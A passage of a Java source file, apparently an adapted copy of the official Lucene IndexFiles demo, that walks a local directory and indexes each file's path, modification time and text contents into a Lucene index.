import java.nio.file.attribute.BasicFileAttributes;
import java.util.Date;

/**
 * lucene官方例子
 * @see
 * @auhthor lei.fang@shijue.me
 * @since . 2017-08-23
 */
public class IndexFiles {

    private IndexFiles() {}

    public static void main(String[] args) {

        String indexPath = "index";
        String docsPath = "/Users/admin/github/elasticsearch-full/JAVA-QUERY-API/";
        boolean create = true;

        final Path docDir = Paths.get(docsPath);
        if (!Files.isReadable(docDir)) {
            System.out.println("Document directory '" + docDir.toAbsolutePath() + "' does not exist or is not readable, please check the path");
            System.exit(1);
        }

        Date start = new Date();
        try {
            System.out.println("Indexing to directory '" + indexPath + "'...");
            Directory dir = FSDirectory.open(Paths.get(indexPath));
            Analyzer analyzer = new StandardAnalyzer();
            IndexWriterConfig iwc = new IndexWriterConfig(analyzer);
            if (create) {
                iwc.setOpenMode(IndexWriterConfig.OpenMode.CREATE);
            } else {
                iwc.setOpenMode(IndexWriterConfig.OpenMode.CREATE_OR_APPEND);
            }

            IndexWriter writer = new IndexWriter(dir, iwc);
            indexDocs(writer, docDir);
            writer.close();
            Date end = new Date();
            System.out.println(end.getTime() - start.getTime() + " total milliseconds");
        } catch (Exception e) {
            System.out.println(" caught a " + e.getClass() +
                    "\n with message: " + e.getMessage());
        }

    }

    static void indexDocs(final IndexWriter writer, Path path) throws IOException {
        if (Files.isDirectory(path)) {
            Files.walkFileTree(path, new SimpleFileVisitor<Path>() {
                @Override
                public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
                    try {
                        indexDoc(writer, file, attrs.lastModifiedTime().toMillis());
                    } catch (IOException ignore) {
                        // don't index files that can't be read.
                    }
                    return FileVisitResult.CONTINUE;
                }
            });
        } else {
            indexDoc(writer, path, Files.getLastModifiedTime(path).toMillis());
        }
    }

    static void indexDoc(IndexWriter writer, Path file, long lastModified) throws IOException {
        try (InputStream stream = Files.newInputStream(file)) {
            Document doc = new Document();
            Field pathField = new StringField("path", file.toString(), Field.Store.YES);
            doc.add(pathField);
            doc.add(new LongPoint("modified", lastModified));
            doc.add(new TextField("contents", new BufferedReader(new InputStreamReader(stream, StandardCharsets.UTF_8))));
            if (writer.getConfig().getOpenMode() == IndexWriterConfig.OpenMode.CREATE) {
                System.out.println("adding " + file);
                writer.addDocument(doc);
                System.out.println("updating " + file);
                writer.updateDocument(new Term("path", file.toString()), doc);
            }
        }
    }

}